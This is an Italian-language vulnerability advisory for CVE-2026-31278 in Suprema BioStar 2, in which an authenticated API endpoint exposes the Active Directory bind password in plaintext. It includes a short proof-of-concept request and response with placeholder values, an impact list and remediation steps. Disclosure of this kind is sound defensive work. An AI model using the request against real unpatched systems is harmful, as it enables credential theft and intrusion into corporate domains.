CVE-2026-31278 Suprema BioStar 2: esposizione delle credenziali di Active Directory

Metadata

Riepilogo

Esiste una vulnerabilità di divulgazione di informazioni sensibili in Suprema BioStar 2 dovuta alla gestione non corretta delle impostazioni di integrazione con Active Directory. L'endpoint API backend /api/v2/setting/adserversetting restituisce le credenziali dell'account di bind di Active Directory in chiaro, nonostante la password sia mascherata nell'interfaccia amministrativa.

Versioni interessate

• BioStar 2 Core / AC v2.9.5.29
• BioStar 2 T&A v2.9.5.3

Dettagli tecnici

Sebbene il campo password sia mascherato nell'interfaccia amministrativa, le richieste autenticate all'API backend rivelano la password completa non cifrata insieme ai parametri di configurazione LDAP, inclusa la comunicazione SSL disabilitata.

Un attaccante autenticato invia una richiesta HTTP GET all'endpoint di configurazione del server AD e riceve la password dell'account di servizio di Active Directory in chiaro nella risposta del server.

Prova di concetto

Richiesta:

GET /api/v2/setting/adserversetting HTTP/1.1
Host: <target>
Authorization: Bearer <token>

Risposta:

{
  "ad_server": "ldap://internal.domain.local",
  "bind_dn": "CN=svc_biostar,DC=domain,DC=local",
  "password": "<plaintext_password_returned_here>",
  "ssl_enabled": false
}

Impatto

Un attaccante autenticato può sfruttare le credenziali divulgate per:

• Eseguire l'autenticazione LDAP contro Active Directory
• Enumerare utenti, gruppi e unità organizzative del dominio
• Condurre ricognizione sulla rete interna
• Effettuare movimento laterale sui sistemi connessi al dominio
• Potenzialmente elevare i privilegi a seconda delle autorizzazioni dell'account di servizio

Cronologia

CVE-2026-31278 assegnato da MITRE | Correzione rilasciata in BioStar 2 v2.9.12 / BioStarX v1.0.2 |

Rimedi

• Aggiornare a BioStar 2 v2.9.12 o BioStarX v1.0.2
• Ruotare immediatamente tutte le credenziali degli account di servizio di Active Directory
• Limitare l'accesso alle API ai soli segmenti di rete affidabili
• Abilitare LDAPS (SSL) per la comunicazione con Active Directory

Riferimenti

• Suprema Inc.: https://www.supremainc.com

Riconoscimenti

Abdullah Alannaz Ricercatore di sicurezza

Questa vulnerabilità è stata divulgata in modo responsabile a Suprema. Il fornitore ha confermato il problema e ha coordinato con MITRE l'assegnazione del CVE.